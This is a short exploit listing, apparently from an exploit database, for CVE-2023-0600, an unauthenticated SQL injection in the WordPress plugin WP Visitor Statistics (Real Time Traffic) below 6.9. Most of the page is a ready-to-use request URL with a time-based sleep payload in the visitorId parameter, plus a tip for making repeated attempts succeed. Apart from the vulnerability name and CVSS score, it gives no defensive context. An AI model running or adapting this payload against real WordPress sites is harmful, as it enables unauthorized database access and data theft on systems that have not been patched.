Exploit for WP Visitor Statistics (Real Time Traffic) < 6.9 - Unauthenticated SQLi CVE-2023-0600

Name: Exploit for WP Visitor Statistics (Real Time Traffic) < 6.9 - Unauthenticated SQLi CVE-2023-0600
Rating: 5 (135 reviews)

2023-04-24 | CVSS 7.5

## https://sploitus.com/exploit?id=WPEX-ID:8F46DF4D-CB80-4D66-846F-85FAF2EA0EC4
Note: The visitorId parameter's numerical prefix (before the %27) must be different on each try.

https://example.com/?wmcAction=wmcTrack&siteId=34&url=test&uid=01&pid=02&visitorId=132123%27,sleep(10),0,0,0,0,0);--+-